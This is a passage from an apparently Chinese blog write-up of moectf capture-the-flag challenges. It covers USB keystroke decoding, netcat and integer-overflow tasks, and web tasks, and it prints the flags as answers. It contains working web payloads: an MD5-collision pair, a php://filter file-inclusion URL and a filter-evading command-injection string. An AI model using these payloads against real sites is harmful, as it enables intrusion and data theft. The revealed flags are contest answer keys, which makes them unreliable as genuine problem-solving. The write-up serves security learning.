number\"\u003e0x2C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\" \"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-_\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"=+\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"[\u0026#123;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"]\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x32\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"#~\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x33\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\";:\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"'\\\"\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x36\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\",\u0026lt;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\".\u003e\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x4f\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u003e\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003ecode2chr\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereadlines\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 即第三个字节\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# newline or down arrow - move down\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x51\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# up arrow - move up\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x52\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# select the character based on the Shift key\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elines\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e pos\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e81\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;un\u003e\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;un\u003e\"\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e x \u003cspan class=\"token comment\"\u003e# print(x)\u003c/span\u003e fout \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eresult\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclose\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"__main__\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code2chr\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{D@m3daNe_D4me_yoooooo}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"PWN\"\u003e\u003ca href=\"#PWN\" class=\"headerlink\" title=\"PWN\"\u003e\u003c/a\u003ePWN\u003c/h2\u003e\u003ch3 id=\"02-test-your-nc\"\u003e\u003ca href=\"#02-test-your-nc\" class=\"headerlink\" title=\"02 test_your_nc\"\u003e\u003c/a\u003e02 test_your_nc\u003c/h3\u003e\u003cp\u003e如题\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enc\u003c/span\u003e pwn.blackbird.wang \u003cspan class=\"token number\"\u003e9500\u003c/span\u003e\u003cspan class=\"token function\"\u003els\u003c/span\u003e\u003cspan class=\"token function\"\u003ecat\u003c/span\u003e flag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{enjoy_the_netcat_and_the_shell}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Int-overflow\"\u003e\u003ca href=\"#03-Int-overflow\" class=\"headerlink\" title=\"03 Int_overflow\"\u003e\u003c/a\u003e03 Int_overflow\u003c/h3\u003e\u003cp\u003e试着试着给了个 \u003ccode\u003e-1\u003c/code\u003e ,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Web\"\u003e\u003ca href=\"#Web\" class=\"headerlink\" title=\"Web\"\u003e\u003c/a\u003eWeb\u003c/h2\u003e\u003cp\u003e\u003cdel\u003ePHP真实绝绝子\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"02-Web安全入门指北—GET\"\u003e\u003ca href=\"#02-Web安全入门指北—GET\" class=\"headerlink\" title=\"02 Web安全入门指北—GET\"\u003e\u003c/a\u003e02 Web安全入门指北—GET\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:10000/?moe\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{We1c0me_t0_CTF_Web!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Web安全入门指北—POST\"\u003e\u003ca href=\"#03-Web安全入门指北—POST\" class=\"headerlink\" title=\"03 Web安全入门指北—POST\"\u003e\u003c/a\u003e03 Web安全入门指北—POST\u003c/h3\u003e\u003cp\u003e随便找个在线工具发POST就行\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{POST_1s_an_1mp0rtant_m3th0d!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Web安全入门指北—小饼干\"\u003e\u003ca href=\"#04-Web安全入门指北—小饼干\" class=\"headerlink\" title=\"04 Web安全入门指北—小饼干\"\u003e\u003c/a\u003e04 Web安全入门指北—小饼干\u003c/h3\u003e\u003cp\u003e浏览器F12 把cookies里值改成1,刷新\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{C00kie_1s_sw33t!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-2048\"\u003e\u003ca href=\"#05-2048\" class=\"headerlink\" title=\"05 2048\"\u003e\u003c/a\u003e05 2048\u003c/h3\u003e\u003cp\u003e审查元素大法好,找到代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003e\u003cspan class=\"token function-variable function\"\u003egetFlag\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evar\u003c/span\u003e req \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"token class-name\"\u003eXMLHttpRequest\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"GET\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"flag.php?score=\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003eobj\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003escore\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function-variable function\"\u003eonload\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003ealert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ethis\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eresponseText\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003esend\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开发现申必数字\u003ccode\u003e50000\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5001/flag.php?score\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e50000\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e获得flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{2048_1s_intere5t1ng!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/CSDNiamcoming/article/details/108837347\"\u003e(6条消息) 总结ctf中 MD5 绕过的一些思路_y0un9er-CSDN博客_ctf md5绕过\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token assign-left variable\"\u003ea\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u003cspan class=\"token assign-left variable\"\u003eb\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec3gf9dfg62fh342}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-ezinclude\"\u003e\u003ca href=\"#06-ezinclude\" class=\"headerlink\" title=\"06 ezinclude\"\u003e\u003c/a\u003e06 ezinclude\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/vhkjhwbs/article/details/99728785\"\u003ehttps://blog.csdn.net/vhkjhwbs/article/details/99728785\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42181428/article/details/87090539\"\u003ehttps://blog.csdn.net/qq_42181428/article/details/87090539\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.leavesongs.com/PENETRATION/php-filter-magic.html\"\u003ehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ichunqiu/p/10683379.html\"\u003ehttps://www.cnblogs.com/ichunqiu/p/10683379.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.98.215.112:5000/?file\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ephp://filter/read\u003cspan class=\"token operator\"\u003e=\u003c/span\u003econvert.base64-encode/resource\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag.php\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到base64字符串,解码\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec6asdgas7ahfsfaxczc}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-babeRCE\"\u003e\u003ca href=\"#07-babeRCE\" class=\"headerlink\" title=\"07 babeRCE\"\u003e\u003c/a\u003e07 babeRCE\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_44657899/article/details/107676580\"\u003ehttps://blog.csdn.net/qq_44657899/article/details/107676580\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e挺有意思,试了里面好多法子,最后试出来了然后还得每个字符之间都加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5000/?rce\u003cspan class=\"token operator\"\u003e=\u003c/span\u003et\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ec\u003cspan class=\"token variable\"\u003e$\u0026#123;\u003cspan class=\"token environment constant\"\u003eIFS\u003c/span\u003e\u0026#125;\u003c/span\u003ef\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003el\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token 